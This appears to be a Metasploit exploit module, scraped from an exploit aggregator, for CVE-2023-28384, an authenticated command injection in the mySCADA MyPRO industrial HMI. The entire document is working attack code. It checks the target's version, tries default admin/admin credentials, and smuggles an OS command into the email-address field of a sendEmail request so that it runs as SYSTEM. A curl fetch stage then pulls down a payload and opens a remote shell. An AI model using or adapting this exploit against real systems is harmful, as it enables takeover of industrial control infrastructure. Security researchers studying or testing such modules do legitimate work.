Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-WINDOWS-SCADA-MYPRO_CMDEXE-
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'mySCADA MyPRO Authenticated Command Injection (CVE-2023-28384)',
        'Description' => %q{
          Authenticated Command Injection in MyPRO <= v8.28.0 from mySCADA.
          The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of NT AUTHORITY\SYSTEM.
        },
        'License' => MSF_LICENSE,
        'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module
        'References' => [
          [ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-23-096-06'],
          [ 'CVE', '2023-28384']
        ],
        'DisclosureDate' => '2022-09-22',
        'Platform' => 'win',
        'Arch' => [ ARCH_CMD ],
        'Targets' => [
          [
            'Windows_Fetch',
            {
              'Arch' => [ ARCH_CMD ],
              'Platform' => 'win',
              'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },
              'Type' => :win_fetch
            }
          ]
        ],
        'DefaultTarget' => 0,

        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new(
          'USERNAME',
          [ true, 'The username to authenticate with (default: admin)', 'admin' ]
        ),
        OptString.new(
          'PASSWORD',
          [ true, 'The password to authenticate with (default: admin)', 'admin' ]
        ),
        OptString.new(
          'TARGETURI',
          [ true, 'The URI for the MyPRO web interface', '/' ]
        )
      ]
    )
  end

  # Determine if the MyPRO instance runs a vulnerable version
  def check
    begin
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'l.fcgi'),
        'vars_post' => {
          't' => '98'
        }
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      return CheckCode::Unknown
    end

    if res && res.code == 200
      data = res.get_json_document
      version = data['V']
      if version.nil?
        return CheckCode::Unknown
      else
        vprint_status('Version retrieved: ' + version)
      end

      if Rex::Version.new(version) <= Rex::Version.new('8.28')
        return CheckCode::Appears
      else
        return CheckCode::Safe
      end
    else
      return CheckCode::Unknown
    end
  end

  def exploit
    execute_command(payload.encoded)
  end

  def execute_command(cmd)
    print_status('Checking credentials...')
    check_auth
    print_status('Sending command injection...')
    exec_mypro(cmd)
    print_status('Exploit finished, check thy shell.')
  end

  # Check if credentials are working
  def check_auth
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'sss2'),
      'headers' => {
        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
      }
    })

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end
    case res.code
    when 200
      print_good('Credentials are working.')
    when 401
      fail_with(Failure::NoAccess, 'Unauthorized access. Are your credentials correct?')
    else
      fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
    end
  end

  # Send command injection
  def exec_mypro(cmd)
    post_data = {
      'type' => 'sendEmail',
      'addr' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com\"&&#{cmd}"
    }
    post_json = JSON.generate(post_data)

    res = send_request_cgi({
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => post_json,
      'uri' => normalize_uri(target_uri.path, 'sss2'),
      'headers' => {
        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
      }

    })

    # We don't fail if no response is received, as the server will wait until the injected command got executed before returning a response. Typically, this will simply result in a 504 Gateway Time-out error after some time, but there is no indication on whether the injected payload got successfully executed or not from the server response.

    if res && res.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned.
      print_good('Command successfully executed, check your shell.')
    end
  end

end